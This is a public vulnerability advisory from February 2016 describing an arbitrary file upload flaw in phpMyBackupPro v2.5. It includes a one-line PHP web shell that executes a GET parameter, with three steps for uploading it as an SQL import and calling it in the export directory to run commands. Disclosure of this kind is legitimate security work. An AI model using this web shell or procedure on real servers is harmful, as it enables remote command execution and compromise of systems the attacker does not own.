phpMyBackupPro v.2.5 Arbitrary File Upload Feb 16 2016 05:48AM
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phpMyBackupPro v.2.5 (PMBP)

phpMyBackup Pro is a very easy to use, free, web-based MySQL backup application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or email them and a lot more.

Vulnerability Type:
Arbitrary File Upload

CVE Reference:

Vulnerability Details:

phpMyBackupPro allows SQL uploads but fails to check the actual file type, allowing arbitrary file uploads which
can lead to arbitrary OS command, backdoor shells etc...

Exploit code(s):

Arbitary File Upload under "database queries" user has option to 'Upload sql file':

1) upload malicious PHP file containing <?php exec(@$_GET['cmd']); ?> as an SQL import using select "fragmented".
2) click 'Yes' when prompted 'Do you really want to import this backup?'
3) make HTTP request to process the uploaded PHP file e.g. http://localhost/phpMyBackupPro-2.5/export/EVIL.php and BOOOOOOM!

'export' directory comes unprotected with no .htaccess file etc.. and most important file upload type is not checked.

Disclosure Timeline:
Vendor Notification: NR
February 16, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:


Request Method(s): [+] POST

Vulnerable Product: [+] phpMyBackupPro v.2.5 (PMBP)


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